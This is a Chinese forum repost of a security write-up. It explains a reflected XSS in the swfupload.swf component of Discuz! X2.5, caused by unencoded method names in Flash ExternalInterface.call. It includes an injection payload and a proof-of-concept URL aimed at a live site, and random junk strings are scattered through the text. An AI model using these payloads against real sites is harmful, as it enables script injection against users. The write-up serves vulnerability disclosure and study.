Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说
( g! C: U9 Y$ M" _/ f7 C. i$ ~
) B- `' {4 r& y3 x! Xflash.external.ExternalInterface.call($methodName, $parameter)
在浏览器中执行的是

try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
; T3 A% J, U  Y
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
$ g# x. b) t- X; T$methodName = a())}catch(e){alert(/xss/)}//
结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。
1 ]2 `! R' I1 }; `
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }

这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
3 R2 T1 Q9 ]  w: X7 Q' R- J杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。
# a  F/ b6 p# p5 V# J# P, s$ G


漏洞文件：upload\static\image\common\swfupload.swf
8 G% @+ u' n' g: y8 M. c
原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf


1 z; V$ ^- M0 ^9 O) o* c漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//

  `+ g$ r. S+ f; K5 p0 |4 M